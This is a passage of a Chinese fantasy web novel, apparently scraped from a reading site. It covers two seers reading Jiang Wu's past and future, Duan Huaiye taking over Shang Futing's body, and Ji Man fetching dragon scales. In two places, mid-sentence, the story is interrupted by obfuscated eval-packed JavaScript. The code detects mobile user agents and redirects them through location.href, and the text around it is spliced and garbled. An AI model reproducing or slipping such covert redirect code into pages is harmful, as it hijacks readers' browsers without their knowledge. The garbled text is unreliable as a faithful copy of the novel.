姜芜双眸一亮,看着身穿米色裙袍的狌狌前来开门,一双如同猫儿一般的眼眸中布满了亮晶晶的笑意,墨发用一根长木簪全部挽成发髻,动作欢快地请着她入内。 玃如一身苍青色的长袍跟在狌狌身后,抬手施礼,“您来了,快请进。” 姜芜扬了一下眉毛,随后面不改色地跨过门槛走了进去,“荆州的事情是你们故意让人同我说的。” 玃如看了狌狌一眼,并请姜芜入座,“没错,居然没有瞒过您,只是您的答复出乎人的意料,您居然不认识萧氏兄弟三人。” “认识,仅限于知晓这号人而已,但是并不熟悉,还有你们不必对我说敬语。”姜芜伸手接过狌狌递过来的茶杯,“该我对你们说敬语才是,毕竟我此次前来是有事相求。” 狌狌坐在了玃如的身侧,“其实我们也有事求您。” 姜芜挑眉,随即心中了然,“求我?总不能是满足你们的好奇心之类的吧?” 玃如颔首,“您同我们看到的别人过往中一样的聪慧,何事都瞒不过你。” “毕竟你说我是不可知人。”姜芜垂眸抿了口热茶,“虽然我不知晓你们二位是否能看清我的过去与未来,但是我目前对于你们二人的能力存疑。都说狌狌知过往,玃如知未来,不如展示一下?” 狌狌眨了眨眼睛,神情迷惘地看着玃如,随即对姜芜说:“您想知晓什么呢?” 姜芜勾起唇角看着二人,轻轻地开口,“这个是你们该考虑的,你们要如何证明呢?我人已经在这里了,接下来便看你们的诚意了。” 玃如面色有些为难,“我的能力不比狌狌,所知晓的未来之事说出口会耗损寿命,但是为了证明我们的诚意,我愿意把我看到的未来给您看。”说完,他从眉心取出六颗光球递给了姜芜。 “这是我所看到的有关于睢羲、寂满、雾沅、商扶庭、沈确、宿凌薇的未来,为了防止我作假,所以我将这几段记忆取出来给您。” 姜芜垂眸看着那颗光球,眼神之中划过一丝警惕,“我要如何知晓你这些有关于未来的记忆不会造假?” 83. 记忆 玃如将六颗光球放在了桌面上,然后牵起了狌狌的手,“我同狌狌在姜芜面前不会说任何一句谎言,如有违背,修为散尽,天打雷劈,不得好死。” “我同玃如在姜芜面前不会说任何一句谎言,如有违背,修为散尽,天打雷劈,不得好死。” 二人话音刚落,一缕鲜血从其手心交合出流出,形成一道红色的丝线在二人的手腕内侧形成了一道符咒痕迹。 姜芜见状,双眸一眯,神情警惕地问道:“你们寻我来只想知晓我的过往和未来吗?如此大费周章,只是为了满足你们的好奇心?还要在我面前立下血誓?” 玃如闻言端正了神色,“我们并非只是为了满足自己的好奇心,而是想知晓您会不会对山神的千秋大业造成影响,毕竟一个不可知人很容易左右局势,毕竟羽言会死在云舟上,但事实是他完好无损地回来了,所以我们对你更好奇了。” “千秋大业?杀掉苍旻,成为新一代的妖王吗?”姜芜忍俊不禁,“此事你没有看过未来吗?可行吗?” 玃如颔首,神情认真地说:“可行。” 姜芜闻言垂眸看向了桌上的那颗光球,看似随手却有目的性地挑了一颗,“这是谁的未来。” 玃如看了一眼姜芜手中的光球,如实道:“睢羲的。” 姜芜挑眉,漫不经心地重复道:“这里面是睢羲的未来,对吗?” “是。” 姜芜把光球握在手心里,随即用力捏碎,流光一般的记忆从碎裂的光球中飞出,迅速进入了她的眉心中,一段记忆顷刻涌入,如同春风吹拂起大量桃花花瓣,扑面而来。 天都南城的小院中栽着一颗巨大的桃树,彼时是盛夏时节,睢羲穿着单衣倚靠在树杈上假寐,透过如纱般轻薄的衣裳,能看到他的胸光洁的皮肤上只有一道浅浅的疤痕,桃花顺着风落进了他的衣襟中,姜芜也看到了趴在他右胸前睡得正香的婴孩。 姜芜顿时心感五味杂陈,她已经许久未曾看到过面色如此红润、康健的睢羲了,只是那从树上垂下的长发依旧黑白纷杂,也证实了玃如未曾说谎。 姜芜眨眼从记忆中清醒,合眸定了定心神。 狌狌不解地问道:“您怎么这么快便苏醒了?玃如给您的记忆至少有一刻钟长,您似乎只看了几眼。” 姜芜神情淡然,“这几眼便够了,只是想确认一番真假,而且我并不是很想知晓他的未来,你们想要如何知晓我的过去与未来?” 玃如说:“如果方便的话,请让我握一下您的手,往常我只需要看一眼便能够知晓一个人的未来,今日无论我如何观您,都看不见一丝一毫有关于您的未来。” 狌狌附和地点点头。 姜芜轻笑,“或许我就是个没有未来之人呢。” 狌狌说:“是个人都有未来,即便遭遇了什么不测,玃如也能看到您死前的那一刻,但是现下他是一点也看不到。” 姜芜幽幽地叹了一息,随即对着玃如伸出了手。 狌狌见状立刻握住玃如的另一只手,同他共享记忆。 玃如伸手上前,轻轻地握住了姜芜的手指,可是无论他如何催动法术,都无法看到姜芜的未来,脑海中只有一片漆黑。 玃如神情颓丧般地松开了姜芜的手,随即无声地朝狌狌摇了摇头。 狌狌见状开口问道:“你到底是什么?真的是神仙吗?” 姜芜摇了摇头,“我只是一个修罗而已。” “修罗?不可能,我们看过的大修罗数不胜数,也看过百衢同睢羲的过去与未来,怎么可能看不到你的呢?”狌狌说,“你敢不敢让我看看过去?” 玃如不悦地摇了摇头,“狌狌,不得无礼。” “可以。”说完,姜芜抬手示意玃如无碍,随即伸手递给了狌狌。 狌狌兴致冲冲地双手握了上去,催动法术看到了姜芜的过去。 玃如看着狌狌面上愉快的笑容,忍不住出声问道:“狌狌,你看到了何事?为何笑得如此开心?” 狌狌笑眯眯地松开了手,“玃如,我可比你厉害多了,我看到了一点过去,是个英雄救美的片段,黄沙漫天,她一脸惊恐地在沙漠中奔跑,有几个修罗在后面追赶她,随即大修罗睢羲从天而降,仅仅是站在那里便恐吓退了所有人,睢羲真的好厉害啊。” 玃如的面色瞬间阴沉了下来,语气里带了几分警告,“然后呢?” “然后?”狌狌继续绘声绘色地讲述,“她似乎受了很严重的伤,趴在地上起不来,睢羲便一步一步地朝她走进,神情惊慌又喜悦,迷茫又震撼,总之是走到了她面前,真的好浪漫啊,睢羲的神情都如此复杂了,而她却是一脸惊恐地看着睢羲,甚至还往后瑟缩了几分,真的好扫兴啊。” 玃如出生警告,“狌狌!” 狌狌讲得有些忘乎所以,这才惊醒过来去瞥姜芜的神情,讪讪地笑道:“总之,我只看到了这些。” 姜芜笑着摇了摇头,“无事,这是我同睢羲的初见。” “初见吗?” 狌狌和玃如两人神情疑惑地对视了一眼,随即玃如又取出一枚光球推给姜芜。 “这是我们看到的睢羲对你们二人初见时的记忆,似乎同狌狌说的并不一样。” 姜芜轻笑一声,她伸手将光球取过并不着急捏碎,而是在指尖轻轻地把玩着,“所以,你们寻睢羲,或者睢羲寻你们,究竟要做何事?有需要帮忙的地方,可以寻我,不必寻他。” 狌狌忧愁地看着玃如,询问着是否要同姜芜说出真相。 玃如神情柔和地点了点头,轻轻地拍了拍狌狌的手,随后对姜芜说:“是睢羲来寻我们,用了一些无幻之境内的天然灵石做交换,您方才看到的东西,便是他所要求的,他希望将自己的记忆以这种方式保存下来。” 姜芜垂眸看向手中的光球,心中一片茫然,她有些想象不出睢羲在提取完记忆后,从过往的美好回忆之中抽离出来时的那种失落感,不知晓心中是沉重更多一些,还是愉快更多一些,对她是爱还是恨还是无可奈何。 “他当时......是怎样的神情?” 狌狌虽然不知晓姜芜这么问的意义在哪里,但依旧如实道:“记忆并没有提取完全,近三百二十八的记忆并没有提取,睢羲他......很高兴,也很怀念。” “居然是高兴吗?” 姜芜深深地吸了一口气,将心中翻涌的情绪压了下去,她收紧手指将那颗光球拢于手心里,理清了混乱的思绪才开口道:“还有……还有一个问题……” 玃如见状眉心微不可查地一拢,“我见您情绪不佳,可是身体抱恙?是否要休息一番?无论是汲取或者观看未来同过去,都是要耗费极大精力的。” 姜芜强打起精神,摆了摆手说:“无事,我想从二位处得知一件事,太初剑该如何修复?只要二人给我一个答案,我自有厚礼答谢。” “太初剑?!”玃如看了狌狌一眼,“若是我没有记错的话,太初剑是圣人段怀野杀了九九八十一个修罗炼制而成的吧,若是断了,重新修补的话,怕是也要九九八十一个修罗。” 狌狌补充道:“或者一个像睢羲或者百衢那般的大修罗。” 姜芜问道:“让他们祭剑吗?” 玃如说:“并非,只是需要掏空他们全身的戾气,毕竟只是修补而已。但是掏空所有的戾气,估计也离死亡不远,说祭剑也算中肯。” 姜芜颔首,双指从眉心处引了两道戾气出来,“这是我的谢礼,可以用来增长修为,这个光球便当做是送我的吧。” 狌狌伸手捻住飞来的戾气,喜出望外地看向玃如。 玃如拉着狌狌起身,抬手施礼,“多谢,您若是要走,我让羽游送您回去。” 姜芜想起高空中的寒冷,立刻摇了摇头,“不必了,我不会将你们藏身并州府的事情说出去的。” 玃如丝毫不意外姜芜知晓他们藏身并州一事,反而同狌狌起身相送,“您且慢,我也有礼物送您。”说完,他从袖袋中取了一只龟甲递了出去。 “用此物可占卜三次未来之事,行与不行,是与不是皆可有个明确的答案。我看不到您的未来,若是您遇到困惑之处,可用此物卜算凶吉。” 姜芜垂眸看向玃如手中的龟甲,伸手接了过来,“卜算?或许我有一物可帮你在窥见未来之时还不必耗损寿命,左右这东西我也看不懂,不如留给你研究吧。”说完,她将一卷羊皮轴递给了玃如。 “这是我的舅舅根据河图洛书所演化出,放在我这里只有积灰的份,或许你能勘破其中玄机。” 玃如双手接过,不等感谢姜芜便发觉面前已经没了她的身影。 狌狌好奇地看着玃如手中地羊皮卷,开口问道:“玃如,快打开看看,这是什么啊?” 玃如展开羊皮卷,神情大惊,“这是……这是……八卦图?!狌狌,她方才说这图是何人赠予她的?” 狌狌不知所措地看着玃如,“她的舅舅啊,有什么问题吗?” 玃如小心翼翼地合上太极图,“狌狌,你可知这太极图是谁演化出来的吗?” 狌狌摇了摇头说:“不知道。” 玃如面色凝重地说:“是伏羲。” “伏羲?”狌狌念着这个名字一脸困惑,片刻后才恍然大悟,“那她的母亲是不是娲皇?她还真是神仙啊,那她下来做何事?放着天上的快过日子不当,为了睢羲而来吗?” 玃如思忖了片刻,缓慢地摇了摇头,“或许不是,因为她对睢羲的态度很淡然,可能她也有自己不为人知的使命吧。” 雾沅缓缓落于庭院间,神情淡然地看着面前的狌狌和玃如。 狌狌有些诧异,“蝶妖雾沅?你来此做何事?” 玃如并不意外雾沅的到来,“进来吧。” 【大荒昆仑山】 “你方才跟着姜芜去哪里了?找到那三个乱臣贼子的老巢了吗?” 雾沅摇了摇头,随即同寂满一前一后在龙潭落地。 寂满向封印地看了一眼,一副犹犹豫豫并没有打算进去的模样。 “怎得不走了?”雾沅转身,心情沉重地看着寂满,“莫非觉得难以启齿?” 寂满抿了抿双唇,欲言又止地看着雾沅,他心中有事,自然也没有看出后者的怪异之处。 雾沅神情有些不解,“寂满,有事直说,你何时变得吞吞吐吐了?” 寂满说:“也不是,就是我想自己进去,麻烦你等我一下。” 雾沅无奈地一笑,“我当是何事呢,那便你自己进去吧,只是你今日有些反常,平时不是最害怕单独去见尊上吗?那我便在外等你。” “我长大了!里面是我父亲!我怕什么?”说完,寂满便鼓足了勇气,昂首挺胸地走进龙潭。 苍旻躺在石床上,银色的龙尾缠绕一条黑色的蛇尾,上半身拢着只着纱衣的美人,他伸手卷起青鳞的一缕长发,低头吻在她的脸侧,“儿子来了。” “阿满?” 青鳞推着苍旻的胸膛,随即便要起身,神情又惊又喜地向外看着。 “青青,儿子来了便不顾我了吗?” 苍旻抱起青鳞隐于封印之后,层层叠叠、树叶藤蔓茂盛的枝丫遮挡于二人身前,他抬手布下一道结界,只让自己的声音穿透出去。 青鳞面色稍有不悦,“尊上,我要见阿满,我已经许久未曾见过他了,以后还不知晓能不能见他。” 苍旻神情有些无奈,但依旧未让青鳞去见寂满,只是用龙尾将她缠得更紧了些,语气不悦地对外说:“何事?” 寂满顿时愣在了原地,身体止不住得颤抖,“父亲,我……我想跟你借点东西……” 苍旻厉声问道:“化龙成功了吗?” 寂满将头垂得更低,“没……没有……” 青鳞闻言心有不忍,她伸手抵住苍旻的下颌,让他垂眸看向自己,两行清泪从她的眼尾滑下,“尊上,寂满胆小,请求您看在妾身尽心侍奉的份上,对他温柔一些。” 苍旻蹙眉,伸手拭去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615773|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青鳞脸上的泪珠,“慈母多败儿,寂满怎么说也是个顶天立地的男子汉,岂能这点压力便扛不住?” 青鳞伸手环住苍旻的脖颈,讨好般地用蛇尾缠在他的身上,“尊上,求您了,先听听他说要什么,然后尽力满足他好吗?” 苍旻抱着青鳞,神情无奈地点了点她的鼻尖,“平时冷冷淡淡的,唯有对儿子上心。” “你要借何物?” 寂满磕磕绊绊地说:“我想跟父亲……借……借四片龙鳞……用来救命……” 苍旻问道:“救谁的命?” 寂满说:“我朋友。” 苍旻扬手挥出四片龙鳞,“拿去,以后说话挺直腰板,不要唯唯诺诺的,还有化龙之事,要上些心。” 寂满垂着双眸,将三片龙鳞接在手中,低声道:“谢谢父亲,我已经蜕了两层皮了,还差一层,我一定勤加修行,争取早日化龙。” 苍旻冷哼一声,“为你寻得好法子,你不用,偏偏要去跃什么天门?!” “可是……可是姜芜也是个人啊,不是什么可以随便拿来使用的物品,而且她不喜欢我,我也不喜欢她,怎么可能为了化龙而去做那种事呢?” “喜欢?”苍旻轻嗤,“喜欢有用吗?不要在乎那些虚无缥缈的东西,姜芜同睢羲倒是许多年,撕破脸面后不是照样闹得很难看吗?所以喜欢有用吗?” 寂满想起姜芜所做的种种,抬眸看向龙潭深处,义正言辞地说:“父亲,喜欢有没有用我不清楚,但是我们不能强人所难,姜芜不愿,我们为何要强迫她呢?” 苍旻觉得额间一阵一阵地抽痛,他闭了闭双眸,将青鳞的手放在了自己的额头上,随口嘲讽道:“很简单的一件事情,非要被你的情啊理啊的,搞得如此复杂。跃天门困难,你不愿意强迫姜芜,却愿意自己受累受痛,真是一个为人着想的好孩子。” 青鳞适时地按揉起苍旻的额间和眉心。 “化龙本就是我自己的事情,若是我连天门都跃不过,以后我还能当什么大任?而且这种事情为何要走捷径,依靠一个女人?!那还算是真龙吗?”说完,寂满便神情愤愤地走出了龙潭。 青鳞抬眸看着苍旻,开口问道:“尊上,情啊爱啊的无用吗?” 苍旻垂眸吻了吻青鳞红润的双唇,有些无奈地安抚道:“我只是教育孩子莫要受感情所累,不适用于你我之间。” 青鳞抬手抵住苍旻的双唇,开口问道:“尊上,前些时日睢羲来说段怀野转世一事,这才派三妖出去,为何不直接解决了他?” “青青还对这种事情感兴趣?”苍旻抚了抚青鳞布满了软鳞的小腹,“天命之人,不是我们想除便能除掉的,当务之急是先要毁掉法阵,让灵气留在大荒,青青的修为不是也很久没有长进了吗?” 青鳞咬着红唇,眼神殷切般地看着苍旻,“尊上,那件事情再无其他法子了吗?妾身只有阿满着一个孩儿,您知晓的,妾身生产那日恰逢族内动荡,我们的孩儿只剩了阿满。” 苍旻拂开青鳞脸上的乱发,谆谆诱导,“青青你要以大局为重,我们以后还会有很多孩子的。下一次,我一定会保护好你和我们所有的孩子。” 青鳞靠在苍旻怀中,恳求道:“下次唤他来,让妾身好好地看看他,好吗?” 【并州客栈】 “商扶庭。” “商扶庭。” “商扶庭。” 商扶庭朦胧之间听到有人在喊他的名字,但是他意识混沌,眼皮沉重,浑身的每一个根骨头都痛,根本睁不开双眸,喉咙也像是灌了铅一般,无法回应唤他姓名之人。 一道纯甄之气涌入商扶庭的胸口之间,他瞬间觉得四肢轻松了不少,在来者的牵引之下迅速坐起了身。 “商扶庭。” 商扶庭缓缓地睁开了双眸,他抬眸看向眼前之人,心中大惊,纵然他没有见过对面之人的真容,但也从古籍和等身像上看到过,面前之人的容貌同伫立在长衡山五行道宗流水殿前的太初道尊玉石像一模一样。 对面端坐之人,一头银白色的发丝未束,顺着青色的道袍滑落在地,此时正面带微笑的看着他。 “商扶庭,你感觉如何?” 商扶庭立刻起身,抬手施弟子礼,“弟子商扶庭,拜见太初道尊。” 段怀野收敛了面上的笑容,一脸高深莫测地说:“起来吧。”随即却忍俊不禁,紧接着看着商扶庭笑出了声。 商扶庭一脸诧异地看着段怀野,随即垂眸看了看自己的衣着打扮,并无不妥之处,不知为何引得太初道尊发笑。 段怀野见状摆了摆手,“不是你的问题,是我自己的问题,虽然说我现下也算桃李满园,但当初只是收养了几个无家可归的孤儿而已,创办了一处供那几个孩子的容身之处,没想到便被人道尊、圣人的喊着,我有些不习惯而已。” 商扶庭说:“不,太初道尊丰功伟绩,震古烁今,该被人如此尊称。” 段怀野神情无奈地摇了摇头,他起身将商扶庭扶了起来,“不必如此,只是现下我要做的事情对你来说很残忍。” 商扶庭问道:“道尊要做何事?” 段怀野犹豫了片刻,随后十分委婉地开口,“你......时日无多,还想活吗?” 商扶庭眉心一跳,所识所见之人在段怀野这句话之后一一从脑海中闪过,最后停留在姜芜笑靥如花的脸上,她一身绛红色的狐裘,手持一柄素伞,踏雨而来。 商扶庭闭了闭眼眸,压着翻涌的心绪,语气坚定地说:“弟子命该如此,不悔,无憾。” 段怀野见状,心中思索了片刻,随后才对商扶庭说:“若是我说你能活下去呢?但只是你的身体能活下去,神思会是我,你愿意吗?” 商扶庭弯腰垂首,合着双眸说:“若是我的残躯能为道尊所用,那将是我的荣幸。况且道尊再度临世,为人世间所做之事要比我多得多。” 段怀野闻言伸手拍了拍商扶庭的肩膀,“好孩子,你还有什么未竟之愿吗?” 84. 苏醒 “未竟之愿吗?”商扶庭直起腰身,抬眸看向段怀野,心中泛起一丝苦楚,他缓缓而道,“我幼时父母被修罗所害,若非师门收留,未能有我今日,可我学艺不精,未能替父母乡亲报仇。这等血仇不能亲自去报,实属遗憾,但却不能加于道尊身上,徒增道尊杀孽。也未能报师门养育收留之恩,也为遗憾,若此等也加于道尊之身,便置道尊于不仁不义之地。那便请道尊善待姜芜吧,最起码让她快乐。” 段怀野蹙眉,“让我善待姜芜?” 商扶庭颔首,随即展颜一笑,“这样我便没有挂心事了。” 段怀野捏了捏商扶庭的肩膀,“好孩子。” 商扶庭应了一声,他垂眸看着自己的掌心,虚空握了握拳,十七年的光阴匆匆而过,到最后手中依旧如出生一般空荡荡的,曾经母亲握着他的手时是甜的,后来是苦的,再后来苦中带甜,甜中带苦,磕磕绊绊地长大,白天流血,晚上流泪。 可惜,人生无常,好在最后能短暂地握了一下姜芜的手。只可惜,姜芜在他的世界中如同元日的烟火,漂亮又短暂,让人心驰神往,又让人满怀遗憾。 烟花不会一直夜空绽放,但是姜芜却可以一直漂亮。 “道尊,弟子还有一事。”商扶庭合眸在段怀野面前俯首,“弟子身上还背负着师门血契与姜芜所设的同心咒,若是可以,还请道尊耗费心思解开,莫要让她受到牵连。” 段怀野欲言又止地看着商扶庭,心中五味杂陈。 寂满揣着四片龙鳞,兴高采烈地走进客栈内,他先是拉着雾沅鬼鬼祟祟地进了房间,将房门插好后才将龙鳞取了出来,一一指着龙鳞说:“姜芜的,商扶庭的,眠眠的,这个是给你的。”说完,他将其中一片龙鳞推给了雾沅。 雾沅讶然,“给我的?” 寂满点了点头,“毕竟你帮我跃天门也受了很重的伤,这片龙鳞便用来给你疗伤吧。” 雾沅看着手中流光溢彩的银色龙鳞,忍俊不禁,“这便是你不让我进入龙潭的原因?” “若是让你听到,我还怪难为情的。”寂满将另外三片龙鳞收了起来,“我去看看姜芜在不在,然后将龙鳞给她。”说完,他便揣好龙鳞,兴致勃勃地走出了房间。 “姜芜,姜芜,你在不在房间里?” 寂满抬手拍着姜芜的房门。 姜芜也是刚刚回到客栈,将披风搭到木施上便听到了寂满的拍门声,她上前开门,笑着问道:“你们回来得很快啊,拿到龙鳞了吗?” 寂满点了点头,拍了拍胸膛,“我可是寂满大王,区区小事能难得到我?”说完,他便将两片龙鳞举到了姜芜的面前。 “两片?” “是啊,两片。”寂满笑着说,“你一片,商扶庭一片,怎么样?我够意思吧。” 姜芜伸手接过龙鳞,笑着说:“谢谢寂满。” 寂满看着姜芜发自内心的笑容,反而有些不适应,他挠着头发说:“不必客气,你也帮我跃了天门不是吗?而且这次还受了这么严重的伤,别再耽误了,赶紧拿去给那小道士服下吧,先保住他的小命要紧。” “好。” 姜芜送走了寂满才拿着龙鳞进入商扶庭的房间,她用戾气将龙鳞磨碎,再用热水冲开,凝成水珠没入后者的口中。 商扶庭饮下龙鳞后,苍白的面色逐渐红润,他神情朦胧地睁开双眸看着姜芜,勾唇轻笑,口中呢喃道:“小春神。” 姜芜神情一愣,面色逐渐冷峻,“你糊涂了,春神是句芒。” 沈确带着宗华一路御剑飞行,临近深夜,天气严寒,顾及到宗华的身体,两人不得已在并州边界的一片树林里落脚。 宗华冷得瑟瑟发抖,靠在火堆边取暖,身上裹着沈确给的棉披风,唇色依旧呈现出一种寒冷的蓝紫色。 沈确见状往火堆里又添了几块木柴,“还是很冷吗?” 宗华忍着打颤的牙齿,磕磕绊绊地说:“还好,还好,还可以忍受。” 沈确一脸担忧地看着宗华,片刻后她起身用太阿剑在空地上画着法阵,阵成后她收起太阿剑,伸手将宗华拉了起来。 “阿……阿确……做何事啊?” 沈确跪坐在法阵中心,她拍了拍身侧的位置,示意宗华坐下。 “我之前不是答应过你嘛,替长灵一族祈福之事,现下我便交给你。”沈确双手合十,缓缓得合上了双眸,“师尊说我们灵修没有本命器具,同等修为下会比剑修、药修、器修差很多,但是我们灵修却可以连接生生不息的天地万物,让天地万物都可以为我们所用。” 宗华伸出自己的双手,轻轻地呵了一口气,随后学着沈确的模样双手合十,“阿确,我应该说着什么吗?还是要念一些经书,往生咒一类的?” “我教你一段口诀,念完以后,你就在心中默默为长灵一族祈福,希望枉死之人能够早登极乐。”说完,沈确便念完了口诀,合上双眸为商扶庭祈福,临走之前她未能见到师兄,心里总觉得惶恐不安,希望他健康平安。 宗华点了点头,念完了口诀,不自觉地将祈福说出了口,“希望长灵一族能够早登极乐,希望母亲能够与舅舅团聚,身体康健,希望舅舅常胜没有痛苦,希望姐姐常奉眠的眼睛能够早日好起来,希望哥哥和父亲平平安安,希望神仙姐姐能够天天开心,希望商道长修为日益精进,希望阿确无忧无虑,希望寂满早日化龙,希望雾沅能够放下心结,也希望我能早日找到妹妹。” 沈确闻言睁开双眸看向宗华,此时月华如练,透过新春的树枝,在后者虔诚的脸上撒下一片斑驳。 沈确突然觉得心中柔软的部分塌了一块,她有些好奇地问道:“你与雾沅相处不多,是如何知晓他有心结的?” 宗华垂着双眸,想起雾沅那双承载着满满忧愁的双眸,摇了摇头说:“我也不清楚,只是见他整日里愁容满面,虽然不知晓他的心结在何处,但是他确实一副郁结于心的模样。” 沈确勾唇一笑,“有感觉暖和一些吗?” 宗华这才后知后觉地发现身上不冷了,有一道暖烘烘的热流自他的腹中,顺着血液流经四肢百骸,他一脸新奇地说:“真的哎,突然就不冷了。” 沈确说:“恭喜你,已经引气入体了,无论你以后是否修行,都可以利用那套口诀走一个小周天,强身健体用。” 宗华瞪大了双眸,他垂眸看着自己的双手,感受着其中细小的漩涡气流,“这便是真元运转的感觉吗?” 沈确合起双手,继续合眸祈福,“也得益于你的血脉,否则根本不可能这般快引气入体的。我们既然降生于这个世界上,除了父母手足之外,总有你觉得珍视的东西,或者珍视你的东西,一时半会的挫折不算什么的。” 宗华缓慢地收敛了脸上的喜悦,他侧眸看向沈确,目光似水,柔柔静静,“阿确也遇到了类似的事情吗?” 沈确合着双眸说:“只是一些小时候的遭遇了,我现下拜入了师门,遇到了这般好的师尊和师叔,还有胜似手足的师兄师姐,所以那些苦难和遭遇也不算什么了,都是组成漫长人生如云流水般的经历。” 宗华觉得心中一阵酸楚,神情无奈又动容,“阿确,你一定是经历了很多,才会有现下这般感悟吧?” 沈确说:“都过去了。” 宗华静静地看着沈确的侧脸,觉得她看起来比自己都小,但是却因为经历有了如此多得与她年龄不符的心境,无论是寻常百姓还是宗门子弟,像她这般大的女孩子,都是父母的掌心珠,亦或者师门中的心头娇。 但是沈确,既没有娇纵蛮横,也没有恣意妄为,而且十分知大体,生得一颗七窍玲珑之心。 “阿确,你受苦了。” 【客栈商扶庭房间】 段怀野起身,手肘撑着膝头,掌心不断得揉搓着自己的眉眼,缓慢得适应着现下的这副新身体,一头乌黑的长发瞬间染上了雪的颜色,逐渐变成了银白色。 姜芜神情警惕地看着段怀野,背在身后的手凝了几分戾气。 段怀野深深地吸了一口气,缓缓起身,整个人气势突然变得锋芒锐利,他定睛看着姜芜,随即笑出了声,“这么多年,你真是一点都没变。” “商扶庭呢?” 段怀野刚要开口,却垂眸看了一眼身前,他神情有些诧异地抬手摸了摸前襟,感受着姜芜在这具身体上留下的同心咒,随即无奈地一笑。 “我们这么多年没见,难道你不想先同我叙叙旧吗?开口便问那个小道士,难道你不知晓,他便是我,我便是他吗?你不相信这句话,总该相信太初剑这个死物吧?” 段怀野抬手欲召太初剑而来,却发觉早已感受不到太初剑的存在,他眉心一拢,当即吐出一口鲜血,神情难以置信地问道:“太初剑折了?” 姜芜见状心中松了一口气,“太初剑既是商扶庭的本命剑,也是你的本命剑,在未修复之前,你们谁也活不了,你夺了商扶庭的身体又如何?照样如此苟延残喘。” 段怀野面色微凝,随即丝毫不在意地坐在了脚踏上,并朝着姜芜伸出了手,“天书给我。” 姜芜没有任何迟疑地从袖袋中取出天书递给了段怀野。 “就这般直接给我了?我以为你会不愿给我呢。”段怀野挑眉,神情诧异地看了姜芜一眼,随即确认着手中天书的卷册,“我们何时修复太初剑?” 姜芜不语。 段怀野见状也不再继续这个话题,抬手掐诀,欲引天书上的神力来巩固自己的内府。 姜芜见状抬脚踢飞段怀野手中的天书,旋身接在手中,另一只手握着早已弹出长剑的无心乱,欺身上前抵在了段怀野的脖颈上,“不是想叙旧吗?急着治伤做什么?” 段怀野神情放松了下来,环臂揽着姜芜的腰,笑着说:“好,同你叙叙旧,我看你是想报仇吧。” “拿开手。”姜芜蹙眉,“看来你心知肚明,既然如此,为何要那么做?” “为何?他阻我,必然是要死的。”段怀野嗤笑一声,手上箍紧了姜芜的腰,让她贴进自己,“难得我们离得这么近,身侧又没有碍眼的人,亲近一会又怎么了?” 姜芜抬手毫不留情地用长剑刺入段怀野的肩膀,双眸中翻滚着恨意,“既然如此,你为何不直接杀了我?” 段怀野看着姜芜漂亮的双眸,伸手拭去溅到她脸上的血珠,神情认真地说:“我想杀你啊,但是我真的下不去手,所以我不明白,我去翻看天书,原来我们是天生一对,命中注定。” “你真是可笑,受了天命那么多恩惠,便事事以天命为准,真觉得天命难违,不能更改了吗?”姜芜起身,没有任何挽留地抽/出了无心乱,“或许他们说的对,我真的不该招惹你,不去招惹你,一切都还来得及。” 段怀野抬手擦去唇角的鲜血,笑着说:“不是你来招惹我,是我们谁也逃不开天书的预言,四卷天书,记载着人间风物、创世神迹、九州记事以及未来预言,镇在长灵族的第四卷天书便详细叙述了未来之事,你看得懂神文,你完全可以去看。看看你的一举一动是否同上面相符,看看睢羲会不会死?” 姜芜面无表情地看着段怀野,心中之恨驱使着她想要做些将后者啖血吃肉的无用功,“天书有记载我以后会成为一个为祸作乱的女魔头吗?” 段怀野伸手捋了一把自己垂到眼前的银白色长发,不以为然地说:“哈?你是说你杀了七仙之事吗?杀了七个人便成为女魔头了吗?你别太天真。” 姜芜反问道:“你掌握天书这么多年,不知晓缘由吗?” 段怀野嗤笑一声,“你从小被她抚养长大,后续因她得福祸,她现下因神族纷争而下落不明,即便是这样你也要守着她的嘱托吗?那我杀了那么多的修罗、妖族、人族,不还是被世人称为道尊和圣人吗?” 姜芜斜睨了段怀野一眼,“我劝你放尊重一些。” 段怀野闻言抬眸看向姜芜,妥协道:“好,我尊重一些,毕竟那是你的母亲。” 姜芜收回了目光,心中五味杂陈,她长长地舒了一口气,心中还怀有一丝期盼,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寂满立刻敛了笑容反驳道:“怎么可能?我可是吃饱了的,就是这个肉馒头很好吃,而且你晚饭只喝了一些粥,这肉馒头可是顺榆镇的特色,你真的不打算尝尝吗?” 常奉眠抿了抿双唇,有些不自在地说:“寂满,我真的不饿,就像我现下背负血海深仇,没心情顾及其他一样。” 寂满神情有些窘迫地搓着手指,片刻后才笑着说:“就尝尝嘛,这个肉馒头真的很好吃。”说完,他取过常奉眠手中的纸包,将纸包和其中的肉馒头分成了两份,又重新给了常奉眠一份。 酱肉的香味很快蔓延了出来,其中混杂了一些蔬菜的清香,肉馅很散,并没有多余的油水流出来,即便是有也被松软多孔的白馒头吸了个饱满。 常奉眠闻着香味,低头咬了一口肉馒头,舌尖很快便触及到了一片硬物,作势要讲它吐出。 寂满见状立刻说:“别吐出来,是龙鳞,好东西,吃下去说不定眼睛就好了呢。” 常奉眠将龙鳞压到一旁,声音淡淡地说:“寂满,这么珍贵的东西,你不应该送给我的。” 寂满的脸上险些挂不住笑容,他庆幸常奉眠看不见他此时似啼似笑的神情,“眠眠,你别多想,这是姜芜让我寻的,因为还没有找到从应,所以任何能治你眼睛的法子都要试一试,我没有别的意思,明日我们再试试姜芜带回来的天河之水,说不定你的眼睛很快便能看到呢。” 常奉眠闻言,有些艰难地将口中的龙鳞吞了下去。 龙鳞很小,只有一个小指肚般大小,寂满的心也很小,勇敢地迈出去一步便又缩了回来。 